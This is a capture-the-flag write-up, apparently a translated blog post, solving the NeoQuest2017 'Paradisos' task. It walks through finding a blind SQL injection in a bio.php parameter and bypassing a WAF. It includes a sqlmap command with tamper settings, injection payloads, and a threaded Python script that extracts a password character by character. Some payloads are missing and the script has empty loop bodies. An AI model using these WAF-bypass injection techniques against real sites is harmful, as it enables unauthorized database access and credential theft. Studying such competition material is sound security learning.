[NeoQuest2017] "In search of earthlings" and not only ...

    A couple of days ago, the next online qualifying round of the annual cybersecurity competition, NeoQuest2017, ended . I express special thanks to the organizers: every year the story is more fascinating, and the tasks are more difficult!

    And this article will be devoted to the analysis of the ninth task: PARADISOS


    When we reached the ship of the disaster expedition, we did not find anyone there - apparently, the guys managed to get out. But where to look for them now? Theoretically, they could reach the planet Paradisos, the last of those we have not yet visited.

    This planet is a paradise: a wonderful climate, friendly inhabitants who joyfully greeted us with flowers and strange fruits, funny music and a bunch of happy aliens from all the races we know and unfamiliar to us. Mini-hotels hovering in the air, billboards in different languages ​​(including terrestrial English). We were solemnly taken to a beautiful hotel, promising full assistance in finding members of the expedition and in sharing knowledge about our planets. We managed to find out that the guys were really here and even created their own website on which each of them made notes about space travel.

    The site address has been preserved, but we saw the names of only four researchers there. It turned out that cunning aliens require money for access to complete information. Of course, we will not pay. Let's try to hack!

    The assignment is accompanied by the address of the site, which looks like this:

    First of all, we will figure out where the text for the biography of each of the “researchers” comes from:

        $.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){
    $("#Avatar").attr("src", "img/lava.png");

    We follow the link: " ./bio/bio.php?name=Daniel " and we see the text of the biography. It is logical! The first thought that visited me on this page (and I hope that you,% username%, too) is to try SQL Injection in the name parameter.

    We try:


    And in response to us:

    You don't have permission to access /bio/bio.php on this server.

    So the site is protected by WAF. Well, this is more interesting: it means there is something to protect!
    Empirically, it was found: "information_scheme", "database ()", "SELECT *", "UNION" - are prohibited for use. We go further ...

    We try:


    And the text of his biography comes back to us. So the space works in the form of concatenation. Let's try differently:


    Bingo! In response, we got a biography of all six researchers (and not 4, as on the main page): Roy, Ohad, Naomi, Daniel, Baldric and Sigizmund. The biography of the latter reads: “Like ctf and space!”. However, there is no key anywhere. So you need to hammer a dig deeper!

    I made a decision to uncover heavy artillery: sqlmap ¯ \ _ (ツ) _ / ¯
    After the first N attempts to get a tackle to catch on to SQLi, a fiasco awaited me: sqlmap doesn’t see the vector in any way, and in response to it numerous: “403 Forbidden” .

    Having correctly configured WAF bypass techniques (you had to use THIS , but I'm bad I decided to write my own using the same technique, adding only the required PREFIX and SUFFIX to the beginning and end), for normal people it might look like this:

    sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"


    Parameter: #1* (URI)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause
        Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1'  OR 228=228 -- 1
        Vector: OR [INFERENCE]

    However, it was too early to rejoice: sqlmap stubbornly used forbidden “words” and the maximum that could be done was to use sql-shell:

    In any case, my guesses were confirmed - BBbSQLi. Remembering a couple of lessons “Crazy hands”, this was created:

    Achtung! Causes keyboard cancer
    import requests
    from multiprocessing.dummy import Pool as ThreadPool
    import sys
    import subprocess
    import time
    pool = ThreadPool(101)
    pos = 1
    passwd = ''
    def getSockCount():
        proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
        output = proc.communicate()[0]
        return int(output.decode())
    # Send SQL Request
    def connect(sql):
        url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1"
        req = requests.get(url % sql.replace(' ', '/** **/'))
        if 'Hello! My name is' in req.text:
            return True
        return False
    def findColumns(item):
        if item.isdigit():
        sql = "%s>'0'" % item
        if connect(sql):
            print('Column: %s' % item)
    def getFieldValue(item):
        global passwd
        sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item)
        if connect(sql):
            passwd += item
    alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/']
    # Brute Columns
    if len(sys.argv) > 0:
        tables = open(sys.argv[1]).read().splitlines()
        chunk_size = max([len(x) for x in tables])
        while True:
            pool.map(findColumns, tables)
            while getSockCount() > 2:
    # слепой перебор символов в поле
        while True:
            pool.map(getFieldValue, alph)
            while getSockCount() > 2:
            pos += 1

    Using this script, the following fields were obtained: "id" and "password". It was decided to start the "brute" with the user "id = 6" (aka "Sigizmund"). In the end, it looked something like this:

    In the end, humans won! Flag: 14eb6641da38addf613424f5cd05357ce261c305

    Also popular now: